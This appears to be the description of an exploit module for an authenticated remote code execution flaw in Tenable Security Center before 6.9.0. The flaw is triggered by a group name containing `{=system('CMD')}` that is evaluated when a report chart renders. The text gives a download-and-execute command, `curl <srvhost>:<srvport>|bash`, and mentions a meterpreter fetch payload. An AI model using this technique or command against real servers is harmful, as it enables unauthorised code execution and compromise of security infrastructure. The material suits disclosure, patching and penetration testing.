Tenable Security Center Report Charting RCE

Description

Tenable Security Center prior to 6.9.0 allows an authenticated, non-administrative user to achieve code execution as the web service account (tns) through report generation.

A report definition's inline style is discarded at render (components rehydrate styles from the Style tables by styleID), so the payload is delivered through a label instead: a group created with the name `{=system('CMD')}` is accepted verbatim and becomes a pie sector label via a user/sumgroup query; `{label}` substitution runs BEFORE the eval loop, so the payload lands inside the format string and fires at chart render. Regular org users can create both; report launch refuses ROLE_ADMIN - this bug class is explicitly non-admin.

Payload constraints: the {=...} regex is non-greedy to the first closing brace, so the expression may not contain one, and PHP string interpolation applies; this module therefore injects only `curl <srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT.

Report definitions are closed to administrators (creation returns error 163); supply credentials for a regular org user.

Tested against SecurityCenter 6.7.2-14 on RHEL9.